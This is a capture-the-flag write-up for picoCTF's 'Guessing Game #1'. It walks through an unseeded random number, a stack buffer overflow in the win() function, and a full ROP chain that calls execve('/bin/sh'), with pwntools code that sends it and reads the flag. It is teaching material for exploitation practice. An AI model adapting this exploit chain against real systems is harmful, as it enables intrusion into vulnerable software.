Guessing Game #1 is a 250 point binary-exploitation challenge from picoCTF. The description states:
I made a simple game to show off my programming skills. See if you can beat it!
We get the executable, the Makefile, and the source.
Tools can be helpful, but you may need to look around for yourself.
Pretty ambiguous I think. I am not sure what to make of this.
Remember, in CTF problems, if something seems weird it probably means something...
Also pretty ambiguous, but I guess we should dive in!
$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found #(this is a lie?)
NX: NX enabled
PIE: No PIE (0x400000)
The Makefile suggests no stack canary given the -fno-stack-protector
flag. We
confirm it is not PIE. It's also statically linked which is neat and give us an
opportunity to do relative jumps easier.
Using objdump --syms
I didn't see symbols for system
or exec*
, so I am
guessing that either the remote server is going to read the flag for us or we
need some shellcode. Current thoughts anyways. We need to check the source
first.
main
is essentially the following loop:
while (1) {
res = do_stuff();
if (res) {
win();
}
do_stuff
gets a random number using rand
. Note that it is never seeded
using srand
. man 3 rand
states that this means it will always have a
default seed of 1:
If no seed value is provided, the rand() function is automatically seeded with a value of 1.
So our random number is not so random; we will get the same number each time. We should be able to figure it out with GDB.
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print
statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
Continuing on, we see that if we 'win' we get to the following function. And we
can spot the bug. The developer should have limited the call to fgets
to
BUFSIZE (which is a macro for 100), but it is instead 360. So if we get to the
win
function we should be able to overflow the buffer and overrun the return
address. Cool, lets do that.
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
If we set a breakpoint on increment (we have symbols, thank you developers!) we can inspect what the expected number is that we need to guess, 0x54 or 84.
break increment
finish
p/d $rax
$1 = 84
We can do this with pwntools to automate finding this value, which makes it
more repeatable in the future. So let's do that in our ./solve.py
script. For
whatever reason, when I set the breakpoint on the symbol 'increment', it
resolved the wrong address even though 'info sym increment' showed the correct
address. I'm not sure what was going on, so I just set the address to the
return from increment
in main
.
INCREMENT_ADDRESS = 0x00400bbc
with gdb.debug(exe.path, gdbscript=GDB_COMMAND, api=True) as vuln:
# Add our breakpoint (we could do this in the gdbscript, but I like the
# API).
vuln.gdb.Breakpoint('* ' + str(INCREMENT_ADDRESS))
vuln.gdb.continue_and_wait()
# Get the selected frame, which will allow us to extract information
# regarding things like the registers, stack, etc.
frame = vuln.gdb.selected_frame()
# Get the return value of increment. This should be the same each time
# since the developer did not seed rand.
rax = frame.read_register('rax')
# Cast as an integer.
return int(rax.cast(vuln.gdb.lookup_type('long')))
Knowing the answer to the first question, we then need to overflow the buffer
and control the return address of the function. checksec
is incorrect in
reporting a stack canary, as we don't see any when we decompile it. Using a
cyclic pattern and a core dump we find the offset on the stack to the return
address:
# Generate a cyclic pattern so that we can auto-find the offset.
payload = cyclic(NUM_CYCLIC_BYTES)
# Send the cyclic pattern
proc.sendlineafter(b'Congrats! You win! Your prize is this print statement!\n',
payload)
proc.wait()
# Get the core dump.
core = proc.corefile
# Find our offset.
offset = cyclic_find(pack(core.fault_addr), n=4)
With control of the return address, we now need to ROP around to invoke
execve
and open up a shell. Fortunately, ropper
takes care of this for us.
Though note that the output is not in python3
syntax and you'll have to make
a couple modifications (see included solve.py
):
$ ropper --file ./vuln --chain "execve cmd=/bin/sh"
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack
p = lambda x : pack('Q', x)
IMAGE_BASE_0 = 0x0000000000400000 #
f01c7ecf217d3cebdf4f676920f17ebfcb33d5d14d78df8dfffed5c5290e6f62
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi],
r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000dbeb) # 0x000000000040dbeb: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000695c9) # 0x00000000004695c9: mov qword ptr [rdi],
r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000000696) # 0x0000000000400696: pop rdi; ret;
rop += rebase_0(0x00000000002ba0e0)
rop += rebase_0(0x0000000000010ca3) # 0x0000000000410ca3: pop rsi; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x000000000004cc26) # 0x000000000044cc26: pop rdx; ret;
rop += rebase_0(0x00000000002ba0e8)
rop += rebase_0(0x00000000000163f4) # 0x00000000004163f4: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000049e35) # 0x0000000000449e35: syscall; ret;
print rop
If we send this to the program (after padding as appropriate with the offset) then we land a shell.
ropchain = fit ({
offset: call_execve()
})
io.sendlineafter(b'Name? ', ropchain)
# Get the flag.
io.sendline(b'cat flag.txt')
io.recvline()
io.recvline()
flag = io.recv()
We get the flag: picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_44d502016ea374b8}
It would be neat to implement ropper
with pwntools
so you didn't need to
copy and paste the ropchain. Also update to python3
.